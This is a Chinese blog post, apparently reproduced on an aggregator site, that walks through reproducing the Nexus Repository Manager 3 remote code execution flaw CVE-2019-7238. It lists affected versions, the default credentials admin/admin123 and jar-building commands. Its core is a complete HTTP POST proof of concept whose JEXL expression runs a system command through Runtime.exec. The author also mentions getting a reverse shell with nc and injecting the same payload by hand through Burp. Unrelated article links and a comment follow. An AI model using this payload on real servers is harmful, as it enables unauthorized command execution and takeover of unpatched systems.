
Nexus Repository Manager 3(CVE-2019-7238) 远程代码执行漏洞复现
需要上传jar包 但大佬说“真实环境则不需要,因为真实环境已经上传了assert” 自己制作一个jar包
上传之后便可以用PoC了
当然也可以手工利用
发布日期:2021-05-25 11:46:43
浏览次数:33
分类:精选文章
本文共 1277 字,大约阅读时间需要 4 分钟。
漏洞背景
Nexus Repository Manager 3是一款软件仓库,可以用来存储和分发Maven,NuGET等软件源仓库。其3.14.0及之前版本中,存在一处基于OrientDB自定义函数的任意JEXL表达式执行功能,而这处功能存在未授权访问漏洞,将可以导致任意命令执行漏洞。2019年2月5日Sonatype发布安全公告,在Nexus Repository Manager 3中由于存在访问控制措施的不足,未授权的用户可以利用该缺陷构造特定的请求在服务器上执行Java代码,从而达到远程代码执行的目的。
影响范围
Nexus Repository Manager OSS/Pro 3.6.2 版本到 3.14.0 版本
复现条件
- 未授权的访问
- 弱口令访问
- jar包上传
漏洞利用
nexus默认端口为8081,且存在未授权访问(3.15起关闭此功能),通过弱口令admin/admin123进入

》》cat T1.java》》public class T1 { public static void main(String[] args) { System.out.println("hello world"); } }》》javac T1.java》》jar cvf T1.jar T1.class

POST /service/extdirect HTTP/1.1Host: IP:8081User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0Content-Type: application/jsonContent-Length: 308Connection: close{ "action":"coreui_Component","method":"previewAssets","data":[{ "page":1,"start":0,"limit":25,"filter":[{ "property":"repositoryName","value":"*"},{ "property":"expression","value":"''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"},{ "property":"type","value":"jexl"}]}],"type":"rpc","tid":4}
将PoC放入Burpsuite,更改下IP,我这边直接用的nc反弹shell





将选项改为
All Repositorles
后点击Prevlew抓包
expression
和type
的value处进行注入,即可达到与PoC同样的效果。
发表评论
最新留言
做的很好,不错不错
[***.243.131.199]2025年04月27日 08时10分13秒
关于作者

喝酒易醉,品茶养心,人生如梦,品茶悟道,何以解忧?唯有杜康!
-- 愿君每日到此一游!
推荐文章
900行c语言贪吃蛇,原生js实现的贪吃蛇网页版游戏完整实例
2023-01-24
ado读取多条oracle数据,Oracle ADO数据存取
2023-01-24
aspen串联反应怎么输入_如何进步提升串联谐振试验装置的稳定性
2023-01-24
c++ string取子串_Integer与String的设计哲学
2023-01-24
c++ 数组批量赋值_数组之间不能赋值?穿个马甲吧!
2023-01-24
ctrl c 和 ctrl v 不能用了_神奇操作,原来CTRL键还能这么用
2023-01-24
cytoscape安装java_Cytoscape史上最全攻略
2023-01-24
c语言程序设计年历显示,C语言程序设计报告《万年历》.doc
2023-01-24
C语言程序设计梁海英答案,1.5 习题
2023-01-24
c语言编写单片机中断,C语言AVR单片机中断程序写法
2023-01-24
ddr2的上电顺序_S5PV210 DDR2初始化 28个步骤总结
2023-01-24
excel中最常用的30个函数_Excel玩转数据分析常用的43个函数!
2023-01-24
flink sql设置并行度_Flink 参数配置和常见参数调优
2023-01-24
go 字符串替换_Go 每日一库之 quicktemplate
2023-01-24
jaccard相似度_自然语言处理之文本相似度计算
2023-01-24
java书籍_还搞不定Java多线程和并发编程面试题?你可能需要这一份书单!
2023-01-24